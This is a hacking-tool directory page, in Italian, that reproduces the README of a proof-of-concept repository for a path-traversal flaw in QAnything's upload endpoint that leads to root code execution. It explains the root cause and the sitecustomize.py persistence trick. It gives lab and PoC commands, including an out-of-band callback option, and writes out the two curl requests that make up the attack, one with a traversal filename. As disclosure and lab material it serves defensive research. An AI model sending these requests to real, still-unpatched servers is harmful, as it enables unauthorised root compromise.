Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-88533 — PoC e riproduzione in laboratorio per CVE-2026-88533, una scrittura arbitraria di file non autenticata che porta a RCE come root in QAnything tramite path traversal nell'endpoint di upload. | Kitploit
Strumenti/GitHubGitHub/hemlock-lyk/cve-2026-88533
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubhemlock-lyk/cve-2026-88533

CVE-2026-88533

PoC e riproduzione in laboratorio per CVE-2026-88533, una scrittura arbitraria di file non autenticata che porta a RCE come root in QAnything tramite path traversal nell'endpoint di upload.

Vedi Repository
110h 28m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-88533: Scrittura arbitraria di file non autenticata → RCE come root in QAnything

ID CVE: CVE-2026-88533 (assegnato da MITRE, pubblicazione del record in sospeso) Prodotto: QAnything di netease-youdao — piattaforma open-source RAG / knowledge-base QA Affetto: dalla v1.4.x alla v2.0.0 (branch predefinito qanything-v2, fino al commit finale 65de104) Versione corretta: nessuna — progetto non mantenuto dal 2025-03-12; l'unico fix di sanitizzazione (PR #483) risiede sul branch legacy master e non è mai stato unito in qanything-v2 Debolezza: CWE-22 Path Traversal Impatto: Creazione arbitraria di file non autenticata → Remote Code Execution come uid=0(root) Scopritore: Yankui Li


Riepilogo

L'endpoint di upload dei file POST /api/local_doc_qa/upload_files prende il multipart controllato dall'attaccante e lo usa come percorso di destinazione senza sanitizzare i separatori di percorso. espande di nuovo in , il filtro dei caratteri a larghezza intera e il troncamento della lunghezza lasciano intatti e i percorsi assoluti, e . Il conseguente scrive contenuto controllato dall'attaccante ovunque il processo possa arrivare — all'interno di un container per impostazione predefinita.

filename
urllib.parse.unquote()
%2f
/
../
os.path.join(base, name)
scarta completamente la base quando name è assoluto
open(file_location, "wb")
root

Poiché il prodotto non richiede autenticazione in nessun punto (user_id/user_info sono semplici parametri della richiesta), qualsiasi istanza raggiungibile in rete accetta questo anonimamente.

Causa principale

root@kitploit:~
handler.py :: upload_files
    file.name  ──►  urllib.parse.unquote()          # %2f → "/"
              ──►  full-width char filter           # cosmetic only
              ──►  truncate_filename()              # length cap, no "/" or ".." filtering

core/local_file.py :: LocalFile.__init__
    file_location = os.path.join(file_dir, file_name)   # absolute name → base discarded
    open(file_location, "wb")                           # arbitrary write

Due proprietà rendono questo sfruttabile in modo affidabile:

  1. I percorsi assoluti funzionano direttamente — non serve contare i ../.
  2. Anche il traversal relativo funziona — %2e%2e%2f sopravvive perché unquote viene eseguito prima di qualsiasi filtro.

Un contrasto di hardening all'interno dello stesso codebase: l'endpoint upload_faqs sostituisce / con _ nei nomi dei file. upload_files non ha mai ricevuto quel trattamento, rendendolo l'unico vettore di scrittura.

Nota: LocalFile.__init__ ha una guardia if not os.path.exists(file_location), quindi possono essere creati solo nuovi file — i file esistenti non possono essere sovrascritti. Lo sfruttamento prende quindi di mira nuovi file in posizioni eseguibili.

Dalla scrittura arbitraria alla RCE come root

L'immagine Docker ufficiale esegue il backend Python come root. CPython importa automaticamente sitecustomize.py da site-packages all'avvio dell'interprete — un nuovo file depositato in:

root@kitploit:~
usr/local/lib/python3.10/site-packages/sitecustomize.py

(7×../ relativo, o percorso assoluto) viene importato la volta successiva in cui il backend si avvia, eseguendo codice dell'attaccante come uid=0(root).

Perché site-packages e non la directory dell'app? CPython esegue site.py prima di inserire sys.path[0], quindi un sitecustomize.py accanto allo script di entry non viene importato automaticamente. site-packages è l'unica zona di deposito affidabile.

Altri vettori sono stati testati ed esclusi (documentati per completezza):

  • /etc/cron.d/ — la directory esiste e accetta scritture, ma l'immagine non include nessun demone cron, quindi nulla esegue mai il payload.
  • Sovrascrittura di file di configurazione/codice esistenti — bloccata dalla guardia di esistenza.

Riproduzione in laboratorio

Immagine ufficiale + sorgente vulnerabile fissato (commit 65de104):

root@kitploit:~
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check

Utilizzo del PoC (zero dipendenze, solo stdlib di Python 3)

Lo script PoC è incluso in questo repository (poc_qanything_cve_2026_88533.py) — ogni elemento di prova sotto è stato prodotto eseguendolo contro lo stack di laboratorio sopra. Clona e riproduci tu stesso l'output esatto:

root@kitploit:~
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local

# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local

# Optional out-of-band callback for network-level proof:
#   ... --mode full --oob http://your-oob-endpoint/cb

--mode full riavvia il container di destinazione una volta (comportamento documentato; l'import di CPython scatta all'avvio). Tutto è sicuro per impostazione predefinita: nessuna reverse shell, nessun payload distruttivo — il payload dimostrativo scrive un file marker contenente l'output di id.

Come appare il traffico dell'attacco

L'intero attacco consiste in due POST HTTP; questo è ciò su cui il contenuto di rilevamento dovrebbe fare match (il filename multipart che porta un percorso assoluto o sequenze ..//%2f è il segnale chiave):

root@kitploit:~
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
  -H "Content-Type: application/json" \
  -d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'

# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
  -F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
  -F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'

Prove

Tutte le prove sotto sono l'output reale del terminale di poc_qanything_cve_2026_88533.py (lo script in questo repository) eseguito contro lo stack di laboratorio costruito da docker-compose-lab.yaml. Nessun passaggio è stato falsificato o simulato — lo script esce con codice non-zero a meno che ogni controllo non passi, quindi puoi verificare la catena end-to-end da solo.

Stack di laboratorio — immagine ufficiale + dipendenze minime, tutti i container sani:

Lab stack

--mode check — primitiva di scrittura non autenticata confermata: il marker è stato scritto fuori dalla directory di upload tramite un filename multipart con percorso assoluto e riletto dall'interno del container:

Check mode

--mode full — dopo il riavvio del container, CPython importa automaticamente il sitecustomize.py depositato; il marker del payload prova l'esecuzione come uid=0(root):

Full chain

È inclusa anche la trascrizione completa del terminale dell'esecuzione --mode full mostrata sopra, verbatim: evidence/full-chain-run-2026-09-18.log — 6/6 controlli [OK], verdetto RCE CONFIRMED, marker del payload che prova uid=0(root) con un timestamp (i valori nonce/kb_id nel log sono generati casualmente a ogni esecuzione, quindi la tua esecuzione sarà diversa — è previsto).

Uno screenshot della pagina del record CVE sarà aggiunto una volta pubblicato il record.

Cronologia

DataEvento
2026-08-25Vulnerabilità scoperta; primitiva di scrittura verificata contro un'istanza live (marker innocuo + rilettura)
2026-08-29Catena RCE completa riprodotta in un laboratorio locale isolato; report scritto; inviato a MITRE (CNA-LR) tramite cveform
2026-09-18CVE-2026-88533 assegnato da MITRE
Da definireRecord CVE pubblicato; questo repository e un write-up dettagliato rilasciati

Disclaimer

Questo materiale è pubblicato per ricerca difensiva e scopi educativi. Usalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta a testare. Vedi DISCLAIMER.md.

Scarica lo strumento